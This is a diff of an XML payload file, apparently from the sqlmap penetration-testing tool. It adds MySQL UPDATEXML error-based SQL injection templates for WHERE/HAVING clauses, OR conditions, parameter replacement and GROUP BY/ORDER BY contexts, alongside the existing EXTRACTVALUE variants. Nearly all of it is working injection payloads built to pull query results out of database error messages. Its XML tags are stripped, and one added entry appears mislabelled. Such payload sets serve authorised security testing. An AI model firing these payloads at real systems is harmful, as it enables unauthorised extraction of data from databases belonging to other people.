diff --git a/xml/payloads.xml b/xml/payloads.xml index 40b37463e..c4eabeb7e 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1010,15 +1010,35 @@ Formats: - MySQL >= 5.1 AND error-based - WHERE or HAVING clause + MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE) 2 2 0 1 1 - AND EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - AND EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML) + 2 + 3 + 0 + 1 + 1 + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1208,15 +1228,35 @@ Formats: - MySQL >= 5.1 OR error-based - WHERE or HAVING clause + MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE) 2 3 2 1 1 - OR EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - OR EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML) + 2 + 4 + 2 + 1 + 1 + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1433,7 +1473,7 @@ Formats: - MySQL >= 5.1 - Parameter replace + MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) 2 3 0 @@ -1452,6 +1492,26 @@ Formats: + + MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) + 2 + 4 + 0 + 1,2,3 + 3 + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) + + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ PostgreSQL error-based - Parameter replace 2 @@ -1554,7 +1614,7 @@ Formats: - MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses + MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE) 2 3 0 @@ -1573,6 +1633,26 @@ Formats: + + MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) + 2 + 4 + 0 + 2,3 + 1 + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ PostgreSQL error-based - GROUP BY and ORDER BY clauses 2